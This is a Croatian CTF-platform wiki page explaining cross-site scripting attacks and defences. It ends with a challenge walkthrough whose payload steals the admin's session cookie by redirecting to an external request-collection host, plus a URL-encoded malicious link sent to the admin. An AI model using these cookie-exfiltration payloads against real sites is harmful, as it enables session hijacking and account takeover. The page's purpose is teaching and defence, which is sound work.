Hacknite Wiki

This page is read only. You can view the source, but not change it. Ask your administrator if you think this is wrong.
====XSS napadi====

**XSS (Cross-site scripting)** je vrsta napada u kojem napadač ubacuje zlonamjerni sadržaj (payload) u odgovor web aplikacije koji se poslužuje korisnicima. Napad se izvršava na klijentskoj strani, unutar preglednika žrtve. Payload je najčešće zlonamjeran JavaScript kôd, ali može sadržavati i HTML, CSS, SVG ili druge tehnologije koje omogućuju izvršavanje ili prikaz zlonamjernog sadržaja. Jedan od najčešćih ciljeva je krađa korisničkih kolačića ili sjednice (session tokena) te njihova eksfiltracija slanjem zahtjeva s ukradenim podatcima na drugu stranicu pod kontrolom napadača. Nakon toga, napadač često može koristiti ukradenu sjednicu te pristupiti stranici koristeći žrtvin račun.\\

Ranjivost se najčešće temelji na neadekvatnim procedurama validacije, pročišćavanja ili enkodiranja unosa nad kojim korisnici imaju kontrolu prije njihovog prikaza u pregledniku. Napadač može zlonamjeran unos pohraniti na samom poslužitelju te ga tako učiniti perzistentnim. U tom slučaju poslužitelj naknadno poslužuje odgovore koji sadrže zlonamjerni sadržaj korisnicima pri određenim zahtjevima. Također, napadač može zlonamjeran unos prenijeti putem URL parametara linka koji šalje žrtvi. Tada se payload uključuje u odgovor aplikacije i izvršava u pregledniku žrtve nakon što žrtva pristupi legitimnoj stranici preko linka poslanog od napadača. XSS je jedan od najčešćih web napada.


//Reflected XSS (Non-Persistent//) je tip napada u kojem se podatci koje je unio korisnik u HTTP zahtjev odmah vrate preko odgovora na taj isti zahtjev. Stranica vrati podatke bez da je ikako provjerila jesu li ti podatci sigurni za korištenje te je iz tog razloga ranjiva. Podatci se u pravilu nigdje ne pohranjuju, već ostaju u pregledniku tog korisnika te je zato drugi naziv Non-Persistent. 
Uzmimo za primjer stranicu koja vraća ono što se nalazi u //message// parametru: 
<code>
https://insecure-website.com/status?message=Validna+poruka
</code>
Rezultat je 
<code>
<p>Status: Validna poruka</p>
</code>
No, ako korisnik unese 
<code>
https://insecure-website.com/status?message=<script>*+Maliciozna+skripta...+*/</script>
</code>
nastaje problem jer se unijela skripta koja se može direktno izvršiti.
Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime. 

//Stored XSS (Persistent, second-order XSS)// za razliku od prethodne vrste dohvaća nesigurne podatke s
nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za 
korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti 
ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica s člancima koja
 omogućuje komentare. Recimo da je napadač unio skriptu kao komentar na određeni članak. Ta skripta 
izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori 
taj članak. 

Zadnji je //DOM-based// napad koji se odvija kad JavaScript kôd web stranice uzima podatke s izvora koji
 kontrolira napadač, primjerice URL, i ubacuje ga u  DOM (//Document Object Model//) stranice. Primjerice, ako napadač dobije pristup pisanja u DOM i unese naredbu: 
<code>document.write('... <script>alert(document.domain)</script> ...');
</code>
ova će se skripta izvesti.\\ \\
//innerHTML// ne prihvaća <script> elemente pa s te strane djeluje sigurnije. No, i u tom slučaju postoji zaobilazni put jer se može unijeti element koji ima atribut koji prihvaća JavaScript, primjerice: 
<code>element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'</code>
I ovaj će se alert izvesti.\\ \\
Ovaj se tip napada može kombinirati sa Stored i Reflected napadima jer također može koristiti URL parametre. Budući da se ova tri tipa mogu preklapati, uvedena je nova podjela - poslužiteljski i klijentski XSS.\\
Poslužiteljski XSS (//Server XSS//) se odvija kad poslužitelj generira neprovjerene podatke uključene u HTTP zaglavlje. Izvor tih podatka može biti sam zahtjev ili neka druga lokacija, dakle može se dogoditi Reflected ili Stored napad. \\
Klijentski XSS (//Client XSS//) se odvija kad se neprovjereni podatci koriste za promjene na DOM-u. Također može biti Reflected ako se podatci dohvaćaju iz zahtjeva ili Stored ako se dohvaćaju s poslužitelja.  

Zaštita od XSS napada provodi se tako što se kontroliraju podatci s kojima stranica radi. Odmah pri unosu
 korisničkih podataka treba provesti pročišćenje i, ako podatak ima nešto sumnjivo, spriječiti njegovo
 daljnje korištenje. Ako je podatak pročišćen, treba spriječiti njegove naknadne izmjene.
Pri ispisu podataka treba provesti dobru metodu dekodiranja da bi se osigurala ispravna interpretacija podataka, odnosno da se ne shvate kao skripta. U HTTP zahtjevima važno je koristiti zaglavlje Content-Type ili X-Content-Type-Options jer se na taj način sprečava pogrešna interpretacija odgovora od strane preglednika.

Važno je i na dobar način kodirati varijable koje se umeću u HTML kôd. Primjerice, ovaj način unosa je
 nesiguran: 
<code>
<div> $varUnsafe </div>
</code>
jer napadač može unijeti skriptu kao varijablu, primjerice:
<code>
<script>alert`1`</script>
</code>
i rezultat je:
<code>
<div> <script>alert`1`</script> </div> 
</code>
Zato je puno bolje vrijednosti varijable ubacivati preko nekog od sigurnih atributa, primjerice **.textContent**. On i još neki atributi pripadaju tzv. //Safe Sinks//, a to je naziv za mjesta koja su
 sigurna za pohranjivanje varijabli. Vrijednosti varijabli tamo tretiraju isključivo kao tekst, a nikad kao
 skripta pa, i ako se skripta unese, neće se izvršiti. 

Osim kodiranja, važan dio je i pročišćavanje HTML kôda. Jedna od preporučenih metoda je 
//DOMPuritfy.sanitize()//. No, i dalje treba paziti. Ako postoji mogućnost naknadne izmjene podataka, mora se
 osigurati da se opet provede pročišćavanje. Uz to, ako se pročišćeni podatci šalju nekoj biblioteci na
 korištenje, važno je da ne rade izravne promjene nad nekim drugim podatkom. Svakako treba redovito
 održavati kôd koji se koristi bibliotekama za pročišćenje podataka jer se periodički otkrivaju novi
 nedostatci koji se poprave u novoj verziji biblioteke. 

Također, pri dodavanju atributa HTML elementima, treba umetati vrijednosti preko **.setAttribute** jer i on spada u //Safe sinks//. Važno je napomenuti da su //Safe sinks// sigurni isključivo kad se koriste imena atributa čije su  vrijednosti unaprijed definirane (primjerice id, class), no nisu uvijek pouzdani kad se koriste atributi koji redovno prihvaćaju JavaScript (onclick, onblur i slično). Pri korištenju CSS selektora preko JavaScripta  također je sigurnije mijenjati svojstva koristeći //style.{svojstvo}// nego ga direktno pisati u HTML. 


__PRIMJER__ - **Zadatak s Hacknite platforme - Pronađi svoju stranicu**
<file>
Mario je jako sretan sa svojom stranicom na kojoj se mogu izmjenjivati korisni linkovi, ali osjećao je 
da  nešto nedostaje. Zato je kasnije dodao mogućnost pretraživanja korisnih linkova, kako bi netko mogao
lakše naći upravo ono što traži. Jako je ponosan na svoj kod, pa ti je čak dao source kod kako bi mogao 
vidjeti kako je to napravio.
Budući da je siguran u svoju stranicu, a i pomalo lijen, stavio je neke korisne informacije u kolačiće 
kako  bi im lakše mogao pristupiti. Mario je nastavio koristiti svoju stranicu, i zaista se uvjerio da 
nije time  napravio nikakav propust.
Ako i ti želiš koristiti stranicu, sve što moraš napraviti je registrirati se i ulogirati. Tada ćeš
moći pretraživati i slati korisne linkove svojim prijateljima i adminu, koji je naravno Mario.

Flag je u formatu CTF2021[brojevi]

http://chal.platforma.hacknite.hr:10011

</file>

U prilogu se nalazi i jedna .php datoteka, no ona se u ovom pojašnjenju ne koristi.\\

Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon registracije vidimo tražilicu linkova i stranicu za slanje linkova. Primjećujemo mjesta za korisnički input koja, ako nemaju dobro riješeno pročišćavanje unosa, mogu biti potencijalno ranjiva. \\
Testirajmo postoji li ranjivost uključivanja JavaScript koda. Upišimo u tražilicu linkova neku jednostavnu naredbu i pošaljimo zahtjev.
<code><script>alert(1)</script></code>
Vidimo da se naredba izvršila, dakle ranjivost postoji. \\
Iskoristit ćemo ranjivost tako što ćemo poslati JavaScript kod koji će ukrasti adminov kolačić. Zatim ćemo ukradeni kolačić preusmjeriti na web stranicu koja ga može pohraniti. Za to ćemo iskoristiti stranicu na adresi http://requestbaskets.platforma.hacknite.hr. To je stranica koja stvara košaricu (//basket//) za sve zahtjeve koji su joj upućeni i pohranjuje sve detalje toga zahtjeva. Napravimo svoju košaricu. Ona će imati svoj id koji će u daljnjim koracima biti označen s {id} (piše se bez uglatih zagrada u link). Jednostavnija je opcija kopirati link direktno sa stranice i njega upisivati u zahtjeve (crveno zaokruženo).

{{ :basket2.png?600 |}}

 Upišimo sad u tražilicu: 
<code><script>document.location="http://requestbasekts.platforma.hacknite.hr/{id}/?c="+document.cookie;</script></code>
kako bismo preusmjerili zahtjev na svoju stranicu. Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova, ovaj JavaScript kod će se izvršiti. 

{{ :cookie-rez.png?600 |}}

Preko parametra //c// poslani su kolačići s trenutne stranice na našu, zlonamjernu. Vidimo da se zahtjev preusmjerio na našu stranicu i imamo session id u linku (parametar //c//). No, to je zasad samo naš cookie, nismo dobili pristup administratoru. Otiđimo sad na podstranicu koja određenoj osobi šalje link te pošaljimo adminu sljedeće:
<code>
http://chal.platforma.hacknite.hr:10011/search.php?query=%3Cscript%3Edocument.location%3D%22http%3A%2F%2Frequestbaskets.platforma.hacknite.hr/{id}%2F%3Fc%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
</code> 

{{ :zahtjev-link.png?600 |}}

Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na našu zlonamjernu i opet smo kao //c// parametar unijeli document.cookie da bismo mogli ukrasti administratorov kolačić. Posebni znakovi u linku koji šaljemo su URL-encodani: \\
^ Kod ^ Značenje znaka ^
|%3C  |< |
|%3E  |> | 
|%3D  |= |
|%22  |" |
|%3A  |: |
|%3F  |? |
|%2F  |/ |
|%3B  |; |

Nakon što smo poslali zahtjev, on se pojavi na requestbaskets sa svim detaljima, uključujući i flag:

{{ :flag.png?600 |}}

Flag je URL-encoded, ali jedino što treba promijeniti su uglate zagrade:\\
^ Kod ^ Značenje znaka ^
|%5B  |[ |
|%5D  |] | 

===Izvori===
[1]https://owasp.org/www-community/attacks/xss/ \\
[2]https://owasp.org/www-community/Types_of_Cross-Site_Scripting\\
[3]https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\\
[4]https://portswigger.net/web-security/cross-site-scripting\\
[5]https://www.w3schools.com/tags/ref_urlencode.ASP\\
[6]https://platforma.hacknite.hr/challenges\\